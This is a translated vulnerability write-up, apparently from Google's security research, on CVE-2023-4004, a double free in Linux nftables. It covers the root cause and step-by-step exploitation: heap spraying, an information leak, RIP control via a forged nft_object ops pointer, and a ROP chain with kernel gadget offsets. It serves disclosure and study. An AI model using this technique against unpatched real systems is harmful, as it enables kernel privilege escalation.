CVE-2023-4004漏洞利用细节

  • google
  • 发布于 2023-10-21 20:17
  • 阅读 13

该文章分析了CVE-2023-4004漏洞的成因,该漏洞是由于在nftables的nft_pipapo_remove函数中,当移除一个pipapo set中的元素时,没有正确处理NFT_SET_EXT_KEY_END的缺失,导致可以多次释放同一元素。

CVE-2023-4004 的漏洞细节

如果你想了解 CVE-2023-4004 的一些基本信息,请先阅读 vulnerability.md

背景

nftables 是一个 netfilter 项目,旨在取代现有的 {ip,ip6,arp,eb}tables 框架,为 {ip,ip6}tables 提供一个新的数据包过滤框架,一个新的用户空间实用程序 (nft) 和一个兼容层。它使用现有的Hook、链接跟踪系统、用户空间排队组件和 netfilter 日志子系统。

它由三个主要组件组成:内核实现、libnl netlink 通信和 nftables 用户空间前端。内核提供了一个 netlink 配置接口和运行时规则集评估。libnl 包含与内核通信的基本功能。nftables 前端用于通过 nft 进行用户交互。

nftables 通过使用一些组件(如 tablesetchainrule)来实现数据包过滤。

根本原因分析

正如 /net/netfilter/nft_set_pipapo.c 中的函数 nft_pipapo_remove 中的代码所示,当一个 pipapo set 想要删除一个元素时,它使用 NFT_SET_EXT_KEY 和 NFT_SET_EXT_KEY_END 找到该元素:

    ...
        match_start = data;
        match_end = (const u8 *)nft_set_ext_key_end(&e->ext)->data;

        start = first_rule;
        rules_fx = rules_f0;

        nft_pipapo_for_each_field(f, i, m) {
            if (!pipapo_match_field(f, start, rules_fx,
                        match_start, match_end))
                break;
    ...

但是 NFT_SET_EXT_KEY_END 不是必须的。函数 nft_pipapo_insert 显示了处理它的正确方法:

    ...
    if (nft_set_ext_exists(ext, NFT_SET_EXT_KEY_END))
        end = (const u8 *)nft_set_ext_key_end(ext)->data;
    else
        end = start;
    ...

触发漏洞

按照以下步骤很容易触发它:

  • 创建一个 pipapo set
  • 将一个元素插入set,但没有 NFT_SET_EXT_KEY_END
  • 刷新set,但没有 NFT_SET_EXT_KEY_END(在此之后,该元素将被释放,但不会从set中删除)
  • 再次刷新set,但没有 NFT_SET_EXT_KEY_END(在此之后,该元素将再次被释放)

利用漏洞

CVE-2023-4004 非常容易利用,因为你可以多次释放该元素。元素的大小不稳定,这意味着有很多方法可以利用它:

void *nft_set_elem_init(const struct nft_set *set,
            const struct nft_set_ext_tmpl *tmpl,
            const u32 *key, const u32 *key_end,
            const u32 *data, u64 timeout, u64 expiration, gfp_t gfp)
{
    struct nft_set_ext *ext;
    void *elem;

    elem = kzalloc(set->ops->elemsize + tmpl->len, gfp);
    if (elem == NULL)
        return NULL;
    ...

tmpl->len 与你的输入(如 NFTA_SET_ELEM_USERDATA)相关,这意味着你可以控制元素的大小。所以你只需要找到一个结构来泄露信息并控制 RIP。我选择使用 nftables 中的一些结构:nft_tablesnft_object

struct nft_table {
    struct list_head        list;
    struct rhltable         chains_ht;
    struct list_head        chains;
    struct list_head        sets;
    struct list_head        objects;
    struct list_head        flowtables;
    u64             hgenerator;
    u64             handle;
    u32             use;
    u16             family:6,
                    flags:8,
                    genmask:2;
    u32             nlpid;
    char                *name;
    u16             udlen;
    u8              *udata;
};

struct nft_object {
    struct list_head        list;
    struct rhlist_head      rhlhead;
    struct nft_object_hash_key  key;
    u32             genmask:2,
                    use:30;
    u64             handle;
    u16             udlen;
    u8              *udata;
    /* runtime data below here */
    const struct nft_object_ops *ops ____cacheline_aligned;
    unsigned char           data[]
        __attribute__((aligned(__alignof__(u64))));
};

通过使用 NFTA_TABLE_USERDATA 创建许多 nft_table 来 spray 堆很容易:

    ...
    if (nla[NFTA_TABLE_USERDATA]) {
        table->udata = nla_memdup(nla[NFTA_TABLE_USERDATA], GFP_KERNEL);
        if (table->udata == NULL)
            goto err_table_udata;

        table->udlen = nla_len(nla[NFTA_TABLE_USERDATA]);
    }
    ...

并且 nft_object 有一个函数列表的指针 (const struct nft_object_ops *ops),这将有助于泄露信息和控制 RIP。

当你使用不同类型的 object 时,object 的大小是不同的。我选择使用 NFT_OBJECT_CT_EXPECT object。此 object 使用的堆属于 kmalloc-192。

泄露信息

我通过以下步骤泄露了一些有用的信息。

  • 创建 pipapo set A
  • element B 插入到 set A 中,但没有 NFT_SET_EXT_KEY_END(确保 sizeof(element B)>192 && sizeof(element B)<256)
  • 刷新 set Aelement B 将被释放,但不会被删除
  • 使用 NFTA_TABLE_USERDATA 创建许多table,以取回 element B 的堆,NFTA_TABLE_USERDATA 的长度应等于 sizeof(element B)
  • 再次刷新 set Aelement B 将再次被释放,但不会被删除
  • 创建许多 object,object 的大小应等于 sizeof(element B)。其中一个将取回 element B 的堆。
  • Dump/Get 我们 spray 的所有 table。其中一个的 NFTA_TABLE_USERDATA 应该是一个 object 的结构。

控制 RIP

我通过以下步骤控制 RIP,这与我用于泄露有用信息的步骤非常相似:

  • 创建 pipapo set A
  • element B 插入到 set A 中,但没有 NFT_SET_EXT_KEY_END(确保 sizeof(element B)>192 && sizeof(element B)<256)
  • 刷新 set Aelement B 将被释放,但不会被删除
  • 使用 NFTA_TABLE_USERDATA 创建许多table,以取回 element B 的堆,NFTA_TABLE_USERDATA 的长度应等于 sizeof(element B)
  • 再次刷新 set Aelement B 将再次被释放,但不会被删除
  • 使用 NFTA_OBJ_USERDATA 创建许多 object。object 的大小应等于 sizeof(element B)。object 的 NFTA_OBJ_USERDATA 将用于 ROP。
  • Dump/Get 我们 spray 的所有 table。找到目标table。其中一个的 NFTA_TABLE_USERDATA 应该是一个 object 的结构。
  • 删除目标 table 以释放 object 的堆。
  • 用 NFTA_TABLE_USERDATA spray 许多table 以取回 object 的堆。在此之后,我们将填充 object 的伪造数据。我覆盖 object->ops 以控制 RIP。
  • 获取目标 object,我们最终将跳转到 ROP。

    static int nft_object_dump(struct sk_buff *skb, unsigned int attr,
               struct nft_object *obj, bool reset){
    struct nlattr *nest;
    
    nest = nla_nest_start_noflag(skb, attr);
    if (!nest)
        goto nla_put_failure;
    if (obj->ops->dump(skb, obj, reset) &lt; 0)//在覆盖 ops 之后,我们可以在这里控制 RIP。
        goto nla_put_failure;
    nla_nest_end(skb, nest);
    return 0;
    ...

    ROP 细节

    一旦我们完成 控制 RIP 的步骤 7,我们就可以获得目标 object 的 NFTA_OBJ_USERDATA 的堆地址,我们在步骤 6 中 spray 了它。 我通过以下方式填充 object 的伪造数据:

    //ops 是我们将填充在 NFTA_OBJ_USERDATA 中的内存指针
    //ops 的 0x20 处的字段是 ops->dump。
    *(uint64_t *)&ops[0x20] = kernel_off + 0xffffffff8198954b;//push rsi ; jmp qword ptr [rsi + 0x39]
    ...
    //leak_obj 的 0x48 处的字段是 obj->udata,它将由 NFTA_OBJ_USERDATA 创建。
    uint64_t rop_target_addr = *(uint64_t *)(&leak_obj[0x48]);
    printf("rop : %lx\n", rop_target_addr);
    //现在我们尝试填充 object 的伪造数据
    //第一次堆栈迁移
    *(uint64_t *)(&leak_obj[0x39]) = kernel_off + 0xffffffff81027924;//pop rsp ; ret 
    //第二次堆栈迁移
    *(uint64_t *)(&leak_obj[0]) = kernel_off + 0xffffffff81027924;//pop rsp ; ret
    *(uint64_t *)(&leak_obj[8]) = rop_target_addr + 0x60;//这是最终的 ROP 地址。
    *(uint64_t *)(&leak_obj[0x80]) = rop_target_addr;//偏移量为 0x80 的字段是一个 nft_object_ops 结构指针,设置为 NFTA_OBJ_USERDATA 的堆地址。
    ...

ROP 的步骤如下所示:


 obj->ops->dump(skb, obj, reset)  ->  
 push rsi ; jmp qword ptr [rsi + 0x39] ->  //RSI 将是 object 的指针
 pop rsp ; ret -> //堆栈迁移,rsp 将是 object 的指针
 pop rsp ; ret -> //再次堆栈迁移,rsp 将是 rop_target_addr + 0x60(NFTA_OBJ_USERDATA + 0x60 的指针)
 现在我们可以在这里进行正常的 ROP
  • 原文链接: github.com/google/securi...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
google
google
江湖只有他的大名,没有他的介绍。